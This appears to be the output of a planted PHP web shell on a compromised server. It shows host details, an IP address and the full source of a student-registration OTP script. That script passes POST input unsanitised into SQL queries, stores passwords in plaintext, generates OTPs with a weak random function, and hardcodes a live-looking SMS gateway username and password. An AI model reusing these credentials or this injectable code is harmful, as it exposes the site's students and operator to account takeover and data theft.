0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.143.241.205


Current Path : /var/www/html/PrathibhaKaranji_stop/
Upload File :
Current File : /var/www/html/PrathibhaKaranji_stop/sendMobEmailOTP.php

<?php

include ("database.php");
ini_set('display_errors', 'on');
include("sendsmsapi.php");

$mobile = trim($_POST['mobile']);
$dob = trim($_POST['dob']);//password
$passwd = trim($_POST['password']);

$query = "select ifnull(fmobileotp,'') as fmobileotp 
	from collstud where fmobileno = '{$mobile}'
	and ROUND(time_to_sec((TIMEDIFF(NOW(), fmobotptime))) / 60) <= 5";
$result = mysqli_query($conn,$query);
$count = mysqli_num_rows($result);

date_default_timezone_set('Asia/Kolkata');
$time =  date("h:i A");

if($count > 0)
{
	$row = mysqli_fetch_assoc($result);
	$motpaswrd =  $row['fmobileotp'];

	$smsotp = "Dear Student, Your mobile OTP for Registration is, {$motpaswrd} sent at {$time}";
}	
else
{
	$motpaswrd = rand(1000, 9000); //strtoupper(substr(sha1(rand()), 0, 4));
	$smsotp = "Dear Student, Your mobile OTP for Registration is {$motpaswrd} sent at {$time}";
}

$username = 'logisyhttp';
$password = 'Logis986';
$from = 'UNISOL';
$to = $mobile;
$text = $smsotp;
$category = '';

$smsresp = sendsmaapi($username,$password,$from,$to,$text,$category);

$arr["sms"] = $smsresp;

$query = "update collstud set fmobileotp = '{$motpaswrd}', fmobotptime = now(),
			 fpasswd ='{$passwd}',fotpcounter = fotpcounter+1 
			where fmobileno = '{$mobile}'";

if(mysqli_query($conn,$query))
{
	$arr["status"] = 'success';
}
else
{
	$arr["status"] = 'error';
}

//$arr["email"] = $data['message'];
echo json_encode($arr);

?>